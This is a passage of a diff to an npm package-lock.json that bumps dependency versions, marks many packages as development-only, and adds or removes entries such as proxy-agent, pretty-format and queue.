"https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz", "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=", + "dev": true, "requires": { "lowercase-keys": "^1.0.0" } @@ -12628,14 +16200,16 @@ "semver": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", - "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true } } }, "pako": { - "version": "1.0.11", - "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", - "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==" + "version": "0.2.9", + "resolved": "https://registry.npmjs.org/pako/-/pako-0.2.9.tgz", + "integrity": "sha1-8/dSL073gjSNqBYbrZ7P1Rv4OnU=", + "dev": true }, "parallel-transform": { "version": "1.2.0", @@ -12666,14 +16240,13 @@ } }, "parse-asn1": { - "version": "5.1.5", - "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.5.tgz", - "integrity": "sha512-jkMYn1dcJqF6d5CpU689bq7w/b5ALS9ROVSpQDPrZsqqesUJii9qutvoT5ltGedNXMO2e16YUWIghG9KxaViTQ==", + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/parse-asn1/-/parse-asn1-5.1.6.tgz", + "integrity": "sha512-RnZRo1EPU6JBnra2vGHj0yhp6ebyjBZpmUCLHWiFhxlzvBCCpAuZ7elsBp1PVAbQN0/04VD/19rfzlBSwLstMw==", "dev": true, "requires": { - "asn1.js": "^4.0.0", + "asn1.js": "^5.2.0", "browserify-aes": "^1.0.0", - "create-hash": "^1.1.0", "evp_bytestokey": "^1.0.0", "pbkdf2": "^3.0.3", "safe-buffer": "^5.1.1" @@ -12694,13 +16267,13 @@ } }, "parse-json": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.0.0.tgz", - "integrity": "sha512-OOY5b7PAEFV0E2Fir1KOkxchnZNCdowAJgQ5NuxjpBKTRP3pQhwkrkxqQjeoKJ+fO7bCpmIZaogI4eZGDMEGOw==", + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", "requires": { "@babel/code-frame": "^7.0.0", "error-ex": "^1.3.1", - "json-parse-better-errors": "^1.0.1", + "json-parse-even-better-errors": "^2.3.0", "lines-and-columns": "^1.1.6" } }, @@ -12708,6 +16281,7 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/parse-link-header/-/parse-link-header-1.0.1.tgz", "integrity": "sha1-vt/g0hGK64S+deewJUGeyKYRQKc=", + "dev": true, "requires": { "xtend": "~4.0.1" } @@ -12754,7 +16328,8 @@ "path-is-absolute": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", - "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=" + "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=", + "dev": true }, "path-is-inside": { "version": "1.0.2", @@ -12765,7 +16340,8 @@ "path-key": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/path-key/-/path-key-2.0.1.tgz", - "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=" + "integrity": "sha1-QRyttXTFoUDTpLGRDUDYDMn0C0A=", + "dev": true }, "path-parse": { "version": "1.0.6", @@ -12795,12 +16371,13 @@ "pathseg": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/pathseg/-/pathseg-1.2.0.tgz", - "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==" + "integrity": "sha512-+pQS7lTaoVIXhaCW7R3Wd/165APzZHWzYVqe7dxzdupxQwebgpBaCmf0/XZwmoA/rkDq3qvzO0qv4d5oFVrBRw==", + "optional": true }, "pbkdf2": { - "version": "3.0.17", - "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.0.17.tgz", - "integrity": "sha512-U/il5MsrZp7mGg3mSQfn742na2T+1/vHDCG5/iTI3X9MKUuYUZVLQhyRsg06mCgDBTd57TxzgZt7P+fYfjRLtA==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/pbkdf2/-/pbkdf2-3.1.2.tgz", + "integrity": "sha512-iuh7L6jA7JEGu2WxDwtQP1ddOpaJNC4KlDEFfdQajSGgGPNi4OyDc2R7QnbY2bR9QjBVGwgvTdNJZoE7RaxUMA==", "dev": true, "requires": { "create-hash": "^1.1.2", @@ -12814,6 +16391,7 @@ "version": "1.1.3", "resolved": "https://registry.npmjs.org/peek-stream/-/peek-stream-1.1.3.tgz", "integrity": "sha512-FhJ+YbOSBb9/rIl2ZeE/QHEsWn7PqNYt8ARAY3kIgNGOk13g9FGyIY6JIl/xB/3TFRVoTv5as0l11weORrTekA==", + "dev": true, "requires": { "buffer-from": "^1.0.0", "duplexify": "^3.5.0", @@ -12827,9 +16405,10 @@ "dev": true }, "picomatch": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", - "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==" + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.3.tgz", + "integrity": "sha512-KpELjfwcCDUb9PeigTs2mBJzXUPzAuP2oPcA989He8Rte0+YUAjw1JVedDhuTKPkHjSYzMN3npC9luThGYEKdg==", + "dev": true }, "pify": { "version": "2.3.0", @@ -12872,66 +16451,6 @@ } } }, - "pkg-up": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-2.0.0.tgz", - "integrity": "sha1-yBmscoBZpGHKscOImivjxJoATX8=", - "dev": true, - "requires": { - "find-up": "^2.1.0" - }, - "dependencies": { - "find-up": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz", - "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", - "dev": true, - "requires": { - "locate-path": "^2.0.0" - } - }, - "locate-path": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", - "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", - "dev": true, - "requires": { - "p-locate": "^2.0.0", - "path-exists": "^3.0.0" - } - }, - "p-limit": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz", - "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==", - "dev": true, - "requires": { - "p-try": "^1.0.0" - } - }, - "p-locate": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz", - "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=", - "dev": true, - "requires": { - "p-limit": "^1.1.0" - } - }, - "p-try": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz", - "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=", - "dev": true - }, - "path-exists": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", - "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", - "dev": true - } - } - }, "pluralize": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/pluralize/-/pluralize-7.0.0.tgz", @@ -12972,9 +16491,9 @@ "dev": true }, "postcss": { - "version": "7.0.29", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.29.tgz", - "integrity": "sha512-ba0ApvR3LxGvRMMiUa9n0WR4HjzcYm7tS+ht4/2Nd0NLtHpPIH77fuB9Xh1/yJVz9O/E/95Y/dn8ygWsyffXtw==", + "version": "7.0.35", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.35.tgz", + "integrity": "sha512-3QT8bBJeX/S5zKTTjTCIjRF3If4avAT6kqxcASlTWEtAFCb9NH0OUxNDfgZSWdP5fJnBYCMEWkIFfWeugjzYMg==", "dev": true, "requires": { "chalk": "^2.4.2", @@ -13033,15 +16552,15 @@ } }, "postcss-modules-local-by-default": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.2.tgz", - "integrity": "sha512-jM/V8eqM4oJ/22j0gx4jrp63GSvDH6v86OqyTHHUvk4/k1vceipZsaymiZ5PvocqZOl5SFHiFJqjs3la0wnfIQ==", + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", + "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", "dev": true, "requires": { "icss-utils": "^4.1.1", - "postcss": "^7.0.16", + "postcss": "^7.0.32", "postcss-selector-parser": "^6.0.2", - "postcss-value-parser": "^4.0.0" + "postcss-value-parser": "^4.1.0" } }, "postcss-modules-scope": { @@ -13064,29 +16583,6 @@ "postcss": "^7.0.6" } }, - "postcss-reporter": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-6.0.1.tgz", - "integrity": "sha512-LpmQjfRWyabc+fRygxZjpRxfhRf9u/fdlKf4VHG4TSPbV2XNsuISzYW1KL+1aQzx53CAppa1bKG4APIB/DOXXw==", - "dev": true, - "requires": { - "chalk": "^2.4.1", - "lodash": "^4.17.11", - "log-symbols": "^2.2.0", - "postcss": "^7.0.7" - }, - "dependencies": { - "log-symbols": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-2.2.0.tgz", - "integrity": "sha512-VeIAFslyIerEJLXHziedo2basKbMKtTw3vfn5IzG0XTjhAVEJyNHnL2p7vc+wBDSdQuUpNw3M2u6xb9QsAY5Eg==", - "dev": true, - "requires": { - "chalk": "^2.0.1" - } - } - } - }, "postcss-resolve-nested-selector": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", @@ -13113,23 +16609,24 @@ } }, "postcss-scss": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.0.0.tgz", - "integrity": "sha512-um9zdGKaDZirMm+kZFKKVsnKPF7zF7qBAtIfTSnZXD1jZ0JNZIxdB6TxQOjCnlSzLRInVl2v3YdBh/M881C4ug==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/postcss-scss/-/postcss-scss-2.1.1.tgz", + "integrity": "sha512-jQmGnj0hSGLd9RscFw9LyuSVAa5Bl1/KBPqG1NQw9w8ND55nY4ZEsdlVuYJvLPpV+y0nwTV5v/4rHPzZRihQbA==", "dev": true, "requires": { - "postcss": "^7.0.0" + "postcss": "^7.0.6" } }, "postcss-selector-parser": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.2.tgz", - "integrity": "sha512-36P2QR59jDTOAiIkqEprfJDsoNrvwFei3eCqKd1Y0tUsBimsq39BLp7RD+JWny3WgB1zGhJX8XVePwm9k4wdBg==", + "version": "6.0.4", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", + "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", "dev": true, "requires": { "cssesc": "^3.0.0", "indexes-of": "^1.0.1", - "uniq": "^1.0.1" + "uniq": "^1.0.1", + "util-deprecate": "^1.0.2" } }, "postcss-syntax": { @@ -13147,17 +16644,20 @@ "prelude-ls": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", - "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=" + "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=", + "dev": true }, "prepend-http": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz", - "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=" + "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=", + "dev": true }, "pretty-bytes": { - "version": "5.4.1", - "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.4.1.tgz", - "integrity": "sha512-s1Iam6Gwz3JI5Hweaz4GoCD1WUNUIyzePFy5+Js2hjwGVt2Z79wNN+ZKOZ2vB6C+Xs6njyB84Z1IthQg8d9LxA==" + "version": "5.6.0", + "resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-5.6.0.tgz", + "integrity": "sha512-FFw039TmrBqFK8ma/7OL3sDz/VytdtJr044/QUJtH0wK9lb9jLq9tJyIxUwtQJHwar2BqtiA4iCWSwo9JLkzFg==", + "dev": true }, "pretty-error": { "version": "2.1.1", @@ -13169,6 +16669,50 @@ "utila": "~0.4" } }, + "pretty-format": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-26.6.2.tgz", + "integrity": "sha512-7AeGuCYNGmycyQbCqd/3PWH4eOoX/OiCa0uphp57NVTeAGdJGaAliecxwBDHYQCIvrW7aDBZCYeNTP/WX69mkg==", + "requires": { + "@jest/types": "^26.6.2", + "ansi-regex": "^5.0.0", + "ansi-styles": "^4.0.0", + "react-is": "^17.0.1" + }, + "dependencies": { + "ansi-regex": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.0.tgz", + "integrity": "sha512-bY6fj56OUQ0hU1KjFNDQuJFezqKdrAyFdIevADiqrWHwSlbmBNMHp5ak2f40Pm8JTFyM2mqxkG6ngkHO11f/lg==" + }, + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "requires": { + "color-convert": "^2.0.1" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" + }, + "react-is": { + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" + } + } + }, "private": { "version": "0.1.8", "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz", @@ -13183,12 +16727,14 @@ "process-nextick-args": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", - "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "dev": true }, "progress": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", - "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==" + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "dev": true }, "promise": { "version": "7.3.1", @@ -13202,20 +16748,37 @@ "version": "2.0.3", "resolved": "https://registry.npmjs.org/promise-deferred/-/promise-deferred-2.0.3.tgz", "integrity": "sha512-n10XaoznCzLfyPFOlEE8iurezHpxrYzyjgq/1eW9Wk1gJwur/N7BdBmjJYJpqMeMcXK4wEbzo2EvZQcqjYcKUQ==", + "dev": true, "requires": { "promise": "^7.3.1" } }, + "promise-fs": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/promise-fs/-/promise-fs-2.1.1.tgz", + "integrity": "sha512-43p7e4QzAQ3w6eyN0+gbBL7jXiZFWLWYITg9wIObqkBySu/a5K1EDcQ/S6UyB/bmiZWDA4NjTbcopKLTaKcGSw==", + "dev": true, + "requires": { + "@octetstream/promisify": "2.0.2" + } + }, "promise-inflight": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/promise-inflight/-/promise-inflight-1.0.1.tgz", "integrity": "sha1-mEcocL8igTL8vdhoEputEsPAKeM=", "dev": true }, + "promise-queue": { + "version": "2.2.5", + "resolved": "https://registry.npmjs.org/promise-queue/-/promise-queue-2.2.5.tgz", + "integrity": "sha1-L29ffA9tCBCelnZZx5uIqe1ek7Q=", + "dev": true + }, "promiseback": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/promiseback/-/promiseback-2.0.3.tgz", "integrity": "sha512-VZXdCwS0ppVNTIRfNsCvVwJAaP2b+pxQF7lM8DMWfmpNWyTxB6O5YNbzs+8z0ki/KIBHKHk308NTIl4kJUem3w==", + "dev": true, "requires": { "is-callable": "^1.1.5", "promise-deferred": "^2.0.3" @@ -13250,53 +16813,11 @@ "ipaddr.js": "1.9.1" } }, - "proxy-agent": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/proxy-agent/-/proxy-agent-3.1.1.tgz", - "integrity": "sha512-WudaR0eTsDx33O3EJE16PjBRZWcX8GqCEeERw1W3hZJgH/F2a46g7jty6UGty6NeJ4CKQy8ds2CJPMiyeqaTvw==", - "requires": { - "agent-base": "^4.2.0", - "debug": "4", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^3.0.0", - "lru-cache": "^5.1.1", - "pac-proxy-agent": "^3.0.1", - "proxy-from-env": "^1.0.0", - "socks-proxy-agent": "^4.0.1" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "requires": { - "ms": "^2.1.1" - } - }, - "lru-cache": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - "requires": { - "yallist": "^3.0.2" - } - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" - }, - "yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==" - } - } - }, "proxy-from-env": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", - "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==" + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "dev": true }, "prr": { "version": "1.0.1", @@ -13307,7 +16828,8 @@ "pseudomap": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz", - "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=" + "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM=", + "dev": true }, "psl": { "version": "1.8.0", @@ -13329,9 +16851,9 @@ }, "dependencies": { "bn.js": { - "version": "4.11.8", - "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.11.8.tgz", - "integrity": "sha512-ItfYfPLkWHUjckQCk8xC+LwxgK8NYcXywGigJgSwOP8Y2iyWT4f2vsZnoOXTTbo+o5yXmIUJ4gn5538SO5S3gA==", + "version": "4.12.0", + "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", "dev": true } } @@ -13340,6 +16862,7 @@ "version": "3.0.0", "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz", "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==", + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -13349,6 +16872,7 @@ "version": "1.5.1", "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz", "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==", + "dev": true, "requires": { "duplexify": "^3.6.0", "inherits": "^2.0.3", @@ -13359,6 +16883,7 @@ "version": "2.0.1", "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz", "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==", + "dev": true, "requires": { "end-of-stream": "^1.1.0", "once": "^1.3.1" @@ -13372,9 +16897,10 @@ "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" }, "pupa": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.0.1.tgz", - "integrity": "sha512-hEJH0s8PXLY/cdXh66tNEQGndDrIKNqNC5xmrysZy3i5C3oEoLna7YAOad+7u125+zH1HNXUmGEkrhb3c2VriA==", + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/pupa/-/pupa-2.1.1.tgz", + "integrity": "sha512-l1jNAspIBSFqbT+y+5FosojNpVpF94nlI+wDUpqP9enwOTfHx9f0gh5nB96vl+6yTpsJsypeNrwfzPrKuHB41A==", + "dev": true, "requires": { "escape-goat": "^2.0.0" } @@ -13408,10 +16934,25 @@ "integrity": "sha512-w7fLxIRCRT7U8Qu53jQnJyPkYZIaR4n5151KMfcJlO/A9397Wxb1amJvROTK6TOnp7PfoAmg/qXiNHI+08jRfA==", "dev": true }, + "queue": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/queue/-/queue-6.0.2.tgz", + "integrity": "sha512-iHZWu+q3IdFZFX36ro/lKBkSvfkztY5Y7HMiPlOUjhupPcG2JMfst2KKEpu5XndviX/3UhFbRngUPNKtgvtZiA==", + "dev": true, + "requires": { + "inherits": "~2.0.3" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, "quick-lru": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-4.0.1.tgz", - "integrity": "sha512-ARhCpm70fzdcvNQfPoy49IaanKkTlRWF2JMzqhcJbhSFRZv7nPTvZJdcY7301IPmvW+/p0RgIWnQDLJxifsQ7g==", + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", + "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", "dev": true }, "rainge": { @@ -13448,6 +16989,7 @@ "version": "2.4.0", "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "dev": true, "requires": { "bytes": "3.1.0", "http-errors": "1.7.2", @@ -13458,7 +17000,8 @@ "bytes": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", - "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==" + "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "dev": true } } }, @@ -13466,6 +17009,7 @@ "version": "1.2.8", "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz", "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==", + "dev": true, "requires": { "deep-extend": "^0.6.0", "ini": "~1.3.0", @@ -13476,7 +17020,8 @@ "strip-json-comments": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", - "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=" + "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", + "dev": true } } }, @@ -13490,9 +17035,9 @@ } }, "react": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react/-/react-16.13.1.tgz", - "integrity": "sha512-YMZQQq32xHLX0bz5Mnibv1/LHb3Sqzngu7xstSM+vrkE5Kzr9xE0yMByK5kMoTK30YVJE61WfbxIFFvfeDKT1w==", + "version": "16.14.0", + "resolved": "https://registry.npmjs.org/react/-/react-16.14.0.tgz", + "integrity": "sha512-0X2CImDkJGApiAlcf0ODKIneSwBPhqJawOa5wCtKbu7ZECrmS26NvtSILynQ66cgkT/RJ4LidJOc3bUESwmU8g==", "requires": { "loose-envify": "^1.1.0", "object-assign": "^4.1.1", @@ -13506,39 +17051,49 @@ "dev": true }, "react-base16-styling": { - "version": "0.5.3", - "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.5.3.tgz", - "integrity": "sha1-OFjyTpxN2MvT9wLz901YHKKRcmk=", + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz", + "integrity": "sha512-lTa/VSFdU6BOAj+FryOe7OTZ0OBP8GXPOnCS0QnZi7G3zhssWgIgwl0eUL77onXx/WqKPFndB3ZeC77QC/l4Dw==", "requires": { "base16": "^1.0.0", - "lodash.curry": "^4.0.1", - "lodash.flow": "^3.3.0", - "pure-color": "^1.2.0" + "lodash.curry": "^4.1.1", + "lodash.flow": "^3.5.0", + "pure-color": "^1.3.0" } }, "react-bootstrap": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.3.0.tgz", - "integrity": "sha512-GYj0c6FO9mx7DaO8Xyz2zs0IcQ6CGCtM3O6/feIoCaG4N8B0+l4eqL7stlMcLpqO4d8NG2PoMO/AbUOD+MO7mg==", + "version": "1.5.2", + "resolved": "https://registry.npmjs.org/react-bootstrap/-/react-bootstrap-1.5.2.tgz", + "integrity": 